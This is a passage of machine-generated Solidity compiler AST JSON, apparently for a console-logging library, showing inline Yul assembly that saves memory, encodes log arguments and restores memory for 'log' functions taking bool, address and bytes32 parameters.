2","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39382,"name":"bytes32","nodeType":"ElementaryTypeName","src":"171810:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39384,"nodeType":"VariableDeclarationStatement","src":"171810:10:22"},{"assignments":[39386],"declarations":[{"constant":false,"id":39386,"mutability":"mutable","name":"m6","nameLocation":"171838:2:22","nodeType":"VariableDeclaration","scope":39401,"src":"171830:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39385,"name":"bytes32","nodeType":"ElementaryTypeName","src":"171830:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39387,"nodeType":"VariableDeclarationStatement","src":"171830:10:22"},{"assignments":[39389],"declarations":[{"constant":false,"id":39389,"mutability":"mutable","name":"m7","nameLocation":"171858:2:22","nodeType":"VariableDeclaration","scope":39401,"src":"171850:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39388,"name":"bytes32","nodeType":"ElementaryTypeName","src":"171850:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39390,"nodeType":"VariableDeclarationStatement","src":"171850:10:22"},{"assignments":[39392],"declarations":[{"constant":false,"id":39392,"mutability":"mutable","name":"m8","nameLocation":"171878:2:22","nodeType":"VariableDeclaration","scope":39401,"src":"171870:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39391,"name":"bytes32","nodeType":"ElementaryTypeName","src":"171870:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39393,"nodeType":"VariableDeclarationStatement","src":"171870:10:22"},{"AST":{"nativeSrc":"171899:924:22","nodeType":"YulBlock","src":"171899:924:22","statements":[{"body":{"nativeSrc":"171942:313:22","nodeType":"YulBlock","src":"171942:313:22","statements":[{"nativeSrc":"171960:15:22","nodeType":"YulVariableDeclaration","src":"171960:15:22","value":{"kind":"number","nativeSrc":"171974:1:22","nodeType":"YulLiteral","src":"171974:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"171964:6:22","nodeType":"YulTypedName","src":"171964:6:22","type":""}]},{"body":{"nativeSrc":"172045:40:22","nodeType":"YulBlock","src":"172045:40:22","statements":[{"body":{"nativeSrc":"172074:9:22","nodeType":"YulBlock","src":"172074:9:22","statements":[{"nativeSrc":"172076:5:22","nodeType":"YulBreak","src":"172076:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"172062:6:22","nodeType":"YulIdentifier","src":"172062:6:22"},{"name":"w","nativeSrc":"172070:1:22","nodeType":"YulIdentifier","src":"172070:1:22"}],"functionName":{"name":"byte","nativeSrc":"172057:4:22","nodeType":"YulIdentifier","src":"172057:4:22"},"nativeSrc":"172057:15:22","nodeType":"YulFunctionCall","src":"172057:15:22"}],"functionName":{"name":"iszero","nativeSrc":"172050:6:22","nodeType":"YulIdentifier","src":"172050:6:22"},"nativeSrc":"172050:23:22","nodeType":"YulFunctionCall","src":"172050:23:22"},"nativeSrc":"172047:36:22","nodeType":"YulIf","src":"172047:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"172002:6:22","nodeType":"YulIdentifier","src":"172002:6:22"},{"kind":"number","nativeSrc":"172010:4:22","nodeType":"YulLiteral","src":"172010:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"171999:2:22","nodeType":"YulIdentifier","src":"171999:2:22"},"nativeSrc":"171999:16:22","nodeType":"YulFunctionCall","src":"171999:16:22"},"nativeSrc":"171992:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"172016:28:22","nodeType":"YulBlock","src":"172016:28:22","statements":[{"nativeSrc":"172018:24:22","nodeType":"YulAssignment","src":"172018:24:22","value":{"arguments":[{"name":"length","nativeSrc":"172032:6:22","nodeType":"YulIdentifier","src":"172032:6:22"},{"kind":"number","nativeSrc":"172040:1:22","nodeType":"YulLiteral","src":"172040:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"172028:3:22","nodeType":"YulIdentifier","src":"172028:3:22"},"nativeSrc":"172028:14:22","nodeType":"YulFunctionCall","src":"172028:14:22"},"variableNames":[{"name":"length","nativeSrc":"172018:6:22","nodeType":"YulIdentifier","src":"172018:6:22"}]}]},"pre":{"nativeSrc":"171996:2:22","nodeType":"YulBlock","src":"171996:2:22","statements":[]},"src":"171992:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"172109:3:22","nodeType":"YulIdentifier","src":"172109:3:22"},{"name":"length","nativeSrc":"172114:6:22","nodeType":"YulIdentifier","src":"172114:6:22"}],"functionName":{"name":"mstore","nativeSrc":"172102:6:22","nodeType":"YulIdentifier","src":"172102:6:22"},"nativeSrc":"172102:19:22","nodeType":"YulFunctionCall","src":"172102:19:22"},"nativeSrc":"172102:19:22","nodeType":"YulExpressionStatement","src":"172102:19:22"},{"nativeSrc":"172138:37:22","nodeType":"YulVariableDeclaration","src":"172138:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"172155:3:22","nodeType":"YulLiteral","src":"172155:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"172164:1:22","nodeType":"YulLiteral","src":"172164:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"172167:6:22","nodeType":"YulIdentifier","src":"172167:6:22"}],"functionName":{"name":"shl","nativeSrc":"172160:3:22","nodeType":"YulIdentifier","src":"172160:3:22"},"nativeSrc":"172160:14:22","nodeType":"YulFunctionCall","src":"172160:14:22"}],"functionName":{"name":"sub","nativeSrc":"172151:3:22","nodeType":"YulIdentifier","src":"172151:3:22"},"nativeSrc":"172151:24:22","nodeType":"YulFunctionCall","src":"172151:24:22"},"variables":[{"name":"shift","nativeSrc":"172142:5:22","nodeType":"YulTypedName","src":"172142:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"172203:3:22","nodeType":"YulIdentifier","src":"172203:3:22"},{"kind":"number","nativeSrc":"172208:4:22","nodeType":"YulLiteral","src":"172208:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"172199:3:22","nodeType":"YulIdentifier","src":"172199:3:22"},"nativeSrc":"172199:14:22","nodeType":"YulFunctionCall","src":"172199:14:22"},{"arguments":[{"name":"shift","nativeSrc":"172219:5:22","nodeType":"YulIdentifier","src":"172219:5:22"},{"arguments":[{"name":"shift","nativeSrc":"172230:5:22","nodeType":"YulIdentifier","src":"172230:5:22"},{"name":"w","nativeSrc":"172237:1:22","nodeType":"YulIdentifier","src":"172237:1:22"}],"functionName":{"name":"shr","nativeSrc":"172226:3:22","nodeType":"YulIdentifier","src":"172226:3:22"},"nativeSrc":"172226:13:22","nodeType":"YulFunctionCall","src":"172226:13:22"}],"functionName":{"name":"shl","nativeSrc":"172215:3:22","nodeType":"YulIdentifier","src":"172215:3:22"},"nativeSrc":"172215:25:22","nodeType":"YulFunctionCall","src":"172215:25:22"}],"functionName":{"name":"mstore","nativeSrc":"172192:6:22","nodeType":"YulIdentifier","src":"172192:6:22"},"nativeSrc":"172192:49:22","nodeType":"YulFunctionCall","src":"172192:49:22"},"nativeSrc":"172192:49:22","nodeType":"YulExpressionStatement","src":"172192:49:22"}]},"name":"writeString","nativeSrc":"171913:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"171934:3:22","nodeType":"YulTypedName","src":"171934:3:22","type":""},{"name":"w","nativeSrc":"171939:1:22","nodeType":"YulTypedName","src":"171939:1:22","type":""}],"src":"171913:342:22"},{"nativeSrc":"172268:17:22","nodeType":"YulAssignment","src":"172268:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"172280:4:22","nodeType":"YulLiteral","src":"172280:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"172274:5:22","nodeType":"YulIdentifier","src":"172274:5:22"},"nativeSrc":"172274:11:22","nodeType":"YulFunctionCall","src":"172274:11:22"},"variableNames":[{"name":"m0","nativeSrc":"172268:2:22","nodeType":"YulIdentifier","src":"172268:2:22"}]},{"nativeSrc":"172298:17:22","nodeType":"YulAssignment","src":"172298:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"172310:4:22","nodeType":"YulLiteral","src":"172310:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"172304:5:22","nodeType":"YulIdentifier","src":"172304:5:22"},"nativeSrc":"172304:11:22","nodeType":"YulFunctionCall","src":"172304:11:22"},"variableNames":[{"name":"m1","nativeSrc":"172298:2:22","nodeType":"YulIdentifier","src":"172298:2:22"}]},{"nativeSrc":"172328:17:22","nodeType":"YulAssignment","src":"172328:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"172340:4:22","nodeType":"YulLiteral","src":"172340:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"172334:5:22","nodeType":"YulIdentifier","src":"172334:5:22"},"nativeSrc":"172334:11:22","nodeType":"YulFunctionCall","src":"172334:11:22"},"variableNames":[{"name":"m2","nativeSrc":"172328:2:22","nodeType":"YulIdentifier","src":"172328:2:22"}]},{"nativeSrc":"172358:17:22","nodeType":"YulAssignment","src":"172358:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"172370:4:22","nodeType":"YulLiteral","src":"172370:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"172364:5:22","nodeType":"YulIdentifier","src":"172364:5:22"},"nativeSrc":"172364:11:22","nodeType":"YulFunctionCall","src":"172364:11:22"},"variableNames":[{"name":"m3","nativeSrc":"172358:2:22","nodeType":"YulIdentifier","src":"172358:2:22"}]},{"nativeSrc":"172388:17:22","nodeType":"YulAssignment","src":"172388:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"172400:4:22","nodeType":"YulLiteral","src":"172400:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"172394:5:22","nodeType":"YulIdentifier","src":"172394:5:22"},"nativeSrc":"172394:11:22","nodeType":"YulFunctionCall","src":"172394:11:22"},"variableNames":[{"name":"m4","nativeSrc":"172388:2:22","nodeType":"YulIdentifier","src":"172388:2:22"}]},{"nativeSrc":"172418:17:22","nodeType":"YulAssignment","src":"172418:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"172430:4:22","nodeType":"YulLiteral","src":"172430:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"172424:5:22","nodeType":"YulIdentifier","src":"172424:5:22"},"nativeSrc":"172424:11:22","nodeType":"YulFunctionCall","src":"172424:11:22"},"variableNames":[{"name":"m5","nativeSrc":"172418:2:22","nodeType":"YulIdentifier","src":"172418:2:22"}]},{"nativeSrc":"172448:17:22","nodeType":"YulAssignment","src":"172448:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"172460:4:22","nodeType":"YulLiteral","src":"172460:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"172454:5:22","nodeType":"YulIdentifier","src":"172454:5:22"},"nativeSrc":"172454:11:22","nodeType":"YulFunctionCall","src":"172454:11:22"},"variableNames":[{"name":"m6","nativeSrc":"172448:2:22","nodeType":"YulIdentifier","src":"172448:2:22"}]},{"nativeSrc":"172478:17:22","nodeType":"YulAssignment","src":"172478:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"172490:4:22","nodeType":"YulLiteral","src":"172490:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"172484:5:22","nodeType":"YulIdentifier","src":"172484:5:22"},"nativeSrc":"172484:11:22","nodeType":"YulFunctionCall","src":"172484:11:22"},"variableNames":[{"name":"m7","nativeSrc":"172478:2:22","nodeType":"YulIdentifier","src":"172478:2:22"}]},{"nativeSrc":"172508:18:22","nodeType":"YulAssignment","src":"172508:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"172520:5:22","nodeType":"YulLiteral","src":"172520:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"172514:5:22","nodeType":"YulIdentifier","src":"172514:5:22"},"nativeSrc":"172514:12:22","nodeType":"YulFunctionCall","src":"172514:12:22"},"variableNames":[{"name":"m8","nativeSrc":"172508:2:22","nodeType":"YulIdentifier","src":"172508:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"172608:4:22","nodeType":"YulLiteral","src":"172608:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"172614:10:22","nodeType":"YulLiteral","src":"172614:10:22","type":"","value":"0xa73c1db6"}],"functionName":{"name":"mstore","nativeSrc":"172601:6:22","nodeType":"YulIdentifier","src":"172601:6:22"},"nativeSrc":"172601:24:22","nodeType":"YulFunctionCall","src":"172601:24:22"},"nativeSrc":"172601:24:22","nodeType":"YulExpressionStatement","src":"172601:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"172645:4:22","nodeType":"YulLiteral","src":"172645:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"172651:2:22","nodeType":"YulIdentifier","src":"172651:2:22"}],"functionName":{"name":"mstore","nativeSrc":"172638:6:22","nodeType":"YulIdentifier","src":"172638:6:22"},"nativeSrc":"172638:16:22","nodeType":"YulFunctionCall","src":"172638:16:22"},"nativeSrc":"172638:16:22","nodeType":"YulExpressionStatement","src":"172638:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"172674:4:22","nodeType":"YulLiteral","src":"172674:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"172680:2:22","nodeType":"YulIdentifier","src":"172680:2:22"}],"functionName":{"name":"mstore","nativeSrc":"172667:6:22","nodeType":"YulIdentifier","src":"172667:6:22"},"nativeSrc":"172667:16:22","nodeType":"YulFunctionCall","src":"172667:16:22"},"nativeSrc":"172667:16:22","nodeType":"YulExpressionStatement","src":"172667:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"172703:4:22","nodeType":"YulLiteral","src":"172703:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"172709:4:22","nodeType":"YulLiteral","src":"172709:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"172696:6:22","nodeType":"YulIdentifier","src":"172696:6:22"},"nativeSrc":"172696:18:22","nodeType":"YulFunctionCall","src":"172696:18:22"},"nativeSrc":"172696:18:22","nodeType":"YulExpressionStatement","src":"172696:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"172734:4:22","nodeType":"YulLiteral","src":"172734:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"172740:4:22","nodeType":"YulLiteral","src":"172740:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"172727:6:22","nodeType":"YulIdentifier","src":"172727:6:22"},"nativeSrc":"172727:18:22","nodeType":"YulFunctionCall","src":"172727:18:22"},"nativeSrc":"172727:18:22","nodeType":"YulExpressionStatement","src":"172727:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"172770:4:22","nodeType":"YulLiteral","src":"172770:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"172776:2:22","nodeType":"YulIdentifier","src":"172776:2:22"}],"functionName":{"name":"writeString","nativeSrc":"172758:11:22","nodeType":"YulIdentifier","src":"172758:11:22"},"nativeSrc":"172758:21:22","nodeType":"YulFunctionCall","src":"172758:21:22"},"nativeSrc":"172758:21:22","nodeType":"YulExpressionStatement","src":"172758:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"172804:4:22","nodeType":"YulLiteral","src":"172804:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"172810:2:22","nodeType":"YulIdentifier","src":"172810:2:22"}],"functionName":{"name":"writeString","nativeSrc":"172792:11:22","nodeType":"YulIdentifier","src":"172792:11:22"},"nativeSrc":"172792:21:22","nodeType":"YulFunctionCall","src":"172792:21:22"},"nativeSrc":"172792:21:22","nodeType":"YulExpressionStatement","src":"172792:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39368,"isOffset":false,"isSlot":false,"src":"172268:2:22","valueSize":1},{"declaration":39371,"isOffset":false,"isSlot":false,"src":"172298:2:22","valueSize":1},{"declaration":39374,"isOffset":false,"isSlot":false,"src":"172328:2:22","valueSize":1},{"declaration":39377,"isOffset":false,"isSlot":false,"src":"172358:2:22","valueSize":1},{"declaration":39380,"isOffset":false,"isSlot":false,"src":"172388:2:22","valueSize":1},{"declaration":39383,"isOffset":false,"isSlot":false,"src":"172418:2:22","valueSize":1},{"declaration":39386,"isOffset":false,"isSlot":false,"src":"172448:2:22","valueSize":1},{"declaration":39389,"isOffset":false,"isSlot":false,"src":"172478:2:22","valueSize":1},{"declaration":39392,"isOffset":false,"isSlot":false,"src":"172508:2:22","valueSize":1},{"declaration":39358,"isOffset":false,"isSlot":false,"src":"172651:2:22","valueSize":1},{"declaration":39360,"isOffset":false,"isSlot":false,"src":"172680:2:22","valueSize":1},{"declaration":39362,"isOffset":false,"isSlot":false,"src":"172776:2:22","valueSize":1},{"declaration":39364,"isOffset":false,"isSlot":false,"src":"172810:2:22","valueSize":1}],"id":39394,"nodeType":"InlineAssembly","src":"171890:933:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39396,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"172848:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":39397,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"172854:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":39395,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"172832:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39398,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"172832:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39399,"nodeType":"ExpressionStatement","src":"172832:28:22"},{"AST":{"nativeSrc":"172879:273:22","nodeType":"YulBlock","src":"172879:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"172900:4:22","nodeType":"YulLiteral","src":"172900:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"172906:2:22","nodeType":"YulIdentifier","src":"172906:2:22"}],"functionName":{"name":"mstore","nativeSrc":"172893:6:22","nodeType":"YulIdentifier","src":"172893:6:22"},"nativeSrc":"172893:16:22","nodeType":"YulFunctionCall","src":"172893:16:22"},"nativeSrc":"172893:16:22","nodeType":"YulExpressionStatement","src":"172893:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"172929:4:22","nodeType":"YulLiteral","src":"172929:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"172935:2:22","nodeType":"YulIdentifier","src":"172935:2:22"}],"functionName":{"name":"mstore","nativeSrc":"172922:6:22","nodeType":"YulIdentifier","src":"172922:6:22"},"nativeSrc":"172922:16:22","nodeType":"YulFunctionCall","src":"172922:16:22"},"nativeSrc":"172922:16:22","nodeType":"YulExpressionStatement","src":"172922:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"172958:4:22","nodeType":"YulLiteral","src":"172958:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"172964:2:22","nodeType":"YulIdentifier","src":"172964:2:22"}],"functionName":{"name":"mstore","nativeSrc":"172951:6:22","nodeType":"YulIdentifier","src":"172951:6:22"},"nativeSrc":"172951:16:22","nodeType":"YulFunctionCall","src":"172951:16:22"},"nativeSrc":"172951:16:22","nodeType":"YulExpressionStatement","src":"172951:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"172987:4:22","nodeType":"YulLiteral","src":"172987:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"172993:2:22","nodeType":"YulIdentifier","src":"172993:2:22"}],"functionName":{"name":"mstore","nativeSrc":"172980:6:22","nodeType":"YulIdentifier","src":"172980:6:22"},"nativeSrc":"172980:16:22","nodeType":"YulFunctionCall","src":"172980:16:22"},"nativeSrc":"172980:16:22","nodeType":"YulExpressionStatement","src":"172980:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"173016:4:22","nodeType":"YulLiteral","src":"173016:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"173022:2:22","nodeType":"YulIdentifier","src":"173022:2:22"}],"functionName":{"name":"mstore","nativeSrc":"173009:6:22","nodeType":"YulIdentifier","src":"173009:6:22"},"nativeSrc":"173009:16:22","nodeType":"YulFunctionCall","src":"173009:16:22"},"nativeSrc":"173009:16:22","nodeType":"YulExpressionStatement","src":"173009:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"173045:4:22","nodeType":"YulLiteral","src":"173045:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"173051:2:22","nodeType":"YulIdentifier","src":"173051:2:22"}],"functionName":{"name":"mstore","nativeSrc":"173038:6:22","nodeType":"YulIdentifier","src":"173038:6:22"},"nativeSrc":"173038:16:22","nodeType":"YulFunctionCall","src":"173038:16:22"},"nativeSrc":"173038:16:22","nodeType":"YulExpressionStatement","src":"173038:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"173074:4:22","nodeType":"YulLiteral","src":"173074:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"173080:2:22","nodeType":"YulIdentifier","src":"173080:2:22"}],"functionName":{"name":"mstore","nativeSrc":"173067:6:22","nodeType":"YulIdentifier","src":"173067:6:22"},"nativeSrc":"173067:16:22","nodeType":"YulFunctionCall","src":"173067:16:22"},"nativeSrc":"173067:16:22","nodeType":"YulExpressionStatement","src":"173067:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"173103:4:22","nodeType":"YulLiteral","src":"173103:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"173109:2:22","nodeType":"YulIdentifier","src":"173109:2:22"}],"functionName":{"name":"mstore","nativeSrc":"173096:6:22","nodeType":"YulIdentifier","src":"173096:6:22"},"nativeSrc":"173096:16:22","nodeType":"YulFunctionCall","src":"173096:16:22"},"nativeSrc":"173096:16:22","nodeType":"YulExpressionStatement","src":"173096:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"173132:5:22","nodeType":"YulLiteral","src":"173132:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"173139:2:22","nodeType":"YulIdentifier","src":"173139:2:22"}],"functionName":{"name":"mstore","nativeSrc":"173125:6:22","nodeType":"YulIdentifier","src":"173125:6:22"},"nativeSrc":"173125:17:22","nodeType":"YulFunctionCall","src":"173125:17:22"},"nativeSrc":"173125:17:22","nodeType":"YulExpressionStatement","src":"173125:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39368,"isOffset":false,"isSlot":false,"src":"172906:2:22","valueSize":1},{"declaration":39371,"isOffset":false,"isSlot":false,"src":"172935:2:22","valueSize":1},{"declaration":39374,"isOffset":false,"isSlot":false,"src":"172964:2:22","valueSize":1},{"declaration":39377,"isOffset":false,"isSlot":false,"src":"172993:2:22","valueSize":1},{"declaration":39380,"isOffset":false,"isSlot":false,"src":"173022:2:22","valueSize":1},{"declaration":39383,"isOffset":false,"isSlot":false,"src":"173051:2:22","valueSize":1},{"declaration":39386,"isOffset":false,"isSlot":false,"src":"173080:2:22","valueSize":1},{"declaration":39389,"isOffset":false,"isSlot":false,"src":"173109:2:22","valueSize":1},{"declaration":39392,"isOffset":false,"isSlot":false,"src":"173139:2:22","valueSize":1}],"id":39400,"nodeType":"InlineAssembly","src":"172870:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"171637:3:22","parameters":{"id":39365,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39358,"mutability":"mutable","name":"p0","nameLocation":"171646:2:22","nodeType":"VariableDeclaration","scope":39402,"src":"171641:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39357,"name":"bool","nodeType":"ElementaryTypeName","src":"171641:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39360,"mutability":"mutable","name":"p1","nameLocation":"171658:2:22","nodeType":"VariableDeclaration","scope":39402,"src":"171650:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":39359,"name":"address","nodeType":"ElementaryTypeName","src":"171650:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":39362,"mutability":"mutable","name":"p2","nameLocation":"171670:2:22","nodeType":"VariableDeclaration","scope":39402,"src":"171662:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39361,"name":"bytes32","nodeType":"ElementaryTypeName","src":"171662:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":39364,"mutability":"mutable","name":"p3","nameLocation":"171682:2:22","nodeType":"VariableDeclaration","scope":39402,"src":"171674:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39363,"name":"bytes32","nodeType":"ElementaryTypeName","src":"171674:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"171640:45:22"},"returnParameters":{"id":39366,"nodeType":"ParameterList","parameters":[],"src":"171700:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39436,"nodeType":"FunctionDefinition","src":"173164:780:22","nodes":[],"body":{"id":39435,"nodeType":"Block","src":"173233:711:22","nodes":[],"statements":[{"assignments":[39414],"declarations":[{"constant":false,"id":39414,"mutability":"mutable","name":"m0","nameLocation":"173251:2:22","nodeType":"VariableDeclaration","scope":39435,"src":"173243:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39413,"name":"bytes32","nodeType":"ElementaryTypeName","src":"173243:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39415,"nodeType":"VariableDeclarationStatement","src":"173243:10:22"},{"assignments":[39417],"declarations":[{"constant":false,"id":39417,"mutability":"mutable","name":"m1","nameLocation":"173271:2:22","nodeType":"VariableDeclaration","scope":39435,"src":"173263:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39416,"name":"bytes32","nodeType":"ElementaryTypeName","src":"173263:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39418,"nodeType":"VariableDeclarationStatement","src":"173263:10:22"},{"assignments":[39420],"declarations":[{"constant":false,"id":39420,"mutability":"mutable","name":"m2","nameLocation":"173291:2:22","nodeType":"VariableDeclaration","scope":39435,"src":"173283:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39419,"name":"bytes32","nodeType":"ElementaryTypeName","src":"173283:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39421,"nodeType":"VariableDeclarationStatement","src":"173283:10:22"},{"assignments":[39423],"declarations":[{"constant":false,"id":39423,"mutability":"mutable","name":"m3","nameLocation":"173311:2:22","nodeType":"VariableDeclaration","scope":39435,"src":"173303:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39422,"name":"bytes32","nodeType":"ElementaryTypeName","src":"173303:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39424,"nodeType":"VariableDeclarationStatement","src":"173303:10:22"},{"assignments":[39426],"declarations":[{"constant":false,"id":39426,"mutability":"mutable","name":"m4","nameLocation":"173331:2:22","nodeType":"VariableDeclaration","scope":39435,"src":"173323:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39425,"name":"bytes32","nodeType":"ElementaryTypeName","src":"173323:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39427,"nodeType":"VariableDeclarationStatement","src":"173323:10:22"},{"AST":{"nativeSrc":"173352:375:22","nodeType":"YulBlock","src":"173352:375:22","statements":[{"nativeSrc":"173366:17:22","nodeType":"YulAssignment","src":"173366:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"173378:4:22","nodeType":"YulLiteral","src":"173378:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"173372:5:22","nodeType":"YulIdentifier","src":"173372:5:22"},"nat